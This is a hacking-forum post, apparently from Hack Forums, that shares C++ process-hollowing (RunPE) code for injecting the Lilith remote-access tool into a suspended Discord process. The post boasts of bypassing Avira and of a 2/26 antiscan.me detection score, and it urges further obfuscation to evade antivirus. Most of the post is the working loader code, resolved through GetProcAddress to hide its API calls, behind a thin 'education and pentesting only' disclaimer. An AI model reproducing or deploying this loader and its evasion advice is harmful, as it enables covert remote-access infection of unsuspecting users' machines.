May 16, 2022 06:06 PM
(This post was last modified: May 17, 2022 05:05 AM by pro_fesnoob.)
Hello guys,
please keep in mind that this code and usage is for education and pentesting only!
I know, there exists a ton of c++ code on HF including several injection techniques.
Since I don't care and there aren't any threads on this topic on HF,
I felt compelled to fill this small but important gap.
So I took the open source project Lilith ( Server Connector )
and converted the Lilith.exe to a array of bytes with HxD.
Then I started to take the Runpe of Zer0Mem0ry
and a fixed the memory protection of the imagebase.
After that I added new types dedicated to every winapi we need to get from kernel32.dll later.
The types are then used to call this functions through GetProcAddress.
The result was a avira runtime/scantime bypass, as well as a 2/26 score on antiscan.me.
To evade those detections, make a completely different structure for example, obfuscate the code.
Injected into: Discord
Shellcode : Lilith.exe
Method : Process Hollow
Scan result: antiscan.me
![[Image: zKYoGPq.png]](https://i.imgur.com/zKYoGPq.png)
Code C++ [32 Bit]
please keep in mind that this code and usage is for education and pentesting only!
I know, there exists a ton of c++ code on HF including several injection techniques.
Since I don't care and there aren't any threads on this topic on HF,
I felt compelled to fill this small but important gap.
So I took the open source project Lilith ( Server Connector )
and converted the Lilith.exe to a array of bytes with HxD.
Then I started to take the Runpe of Zer0Mem0ry
and a fixed the memory protection of the imagebase.
After that I added new types dedicated to every winapi we need to get from kernel32.dll later.
The types are then used to call this functions through GetProcAddress.
The result was a avira runtime/scantime bypass, as well as a 2/26 score on antiscan.me.
To evade those detections, make a completely different structure for example, obfuscate the code.
Injected into: Discord
Shellcode : Lilith.exe
Method : Process Hollow
Scan result: antiscan.me
![[Image: zKYoGPq.png]](https://i.imgur.com/zKYoGPq.png)
Code C++ [32 Bit]
Code
typedef bool(WINAPI *getter)(HANDLE, LPCONTEXT);
typedef bool(WINAPI *setter)(HANDLE, LPCONTEXT);
typedef bool(WINAPI *resser)(HANDLE);
typedef bool(WINAPI *virtualexr)(HANDLE, LPVOID, SIZE_T, DWORD, LPDWORD);
typedef void*(WINAPI *virtallox)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef bool*(WINAPI *readmem)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T);
typedef bool*(WINAPI *writer)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T);
int runmey(void* Image)
{
IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase; //Base address of the image
void* pImageBase; // Pointer to the image base
int count;
char CurrentFilePath[1024];
DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize
// GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
{
ZeroMemory(&PI, sizeof(PI)); // Null the memory
ZeroMemory(&SI, sizeof(SI)); // Null the memory
HMODULE hModule = LoadLibrary(TEXT("kernel32.dll"));
if (CreateProcessA((LPCSTR)"C:\\Users\\User\\AppData\\Local\\Discord\\app-1.0.9004\\Discord.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
//process in suspended state, for the new image.
{
// Allocate memory for the context.
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
BOOL gelleric = true;
// gelleric = GetThreadContext(PI.hThread, LPCONTEXT(CTX));
getter shellAbout = (getter)GetProcAddress(hModule, "GetThreadContext");
gelleric = shellAbout(PI.hThread, LPCONTEXT(CTX));
if (gelleric) //if context is in thread
{
// Read instructions
readmem readr = (readmem)GetProcAddress(hModule, "ReadProcessMemory");
readr(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
virtallox virtal = (virtallox)GetProcAddress(hModule, "VirtualAllocEx");
pImageBase = virtal(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
// Write the image to the process
writer writr = (writer)GetProcAddress(hModule, "WriteProcessMemory");
writr(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
writr(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
writr(PI.hProcess, LPVOID(CTX->Ebx + 8),
LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
// Move address of entry point to the eax register
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
DWORD oldProtect;
//PROTECTION
//PAGE_NOACCESS || PAGE_EXECUTE || PAGE_READONLY
virtualexr prexer = (virtualexr)GetProcAddress(hModule, "VirtualProtectEx");
prexer(PI.hProcess, CTX, sizeof(CTX), PAGE_EXECUTE, &oldProtect);
prexer(PI.hProcess, pImageBase, sizeof(pImageBase), PAGE_EXECUTE, &oldProtect);
setter settr = (setter)GetProcAddress(hModule, "SetThreadContext");
settr(PI.hThread, LPCONTEXT(CTX));
// SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
resser ressers = (resser)GetProcAddress(hModule, "ResumeThread");
ressers(PI.hThread);
FreeLibrary(hModule);
// ResumeThread(PI.hThread); //´Start the process/call main()
return 0; // Operation was successful.
}
}
}
}
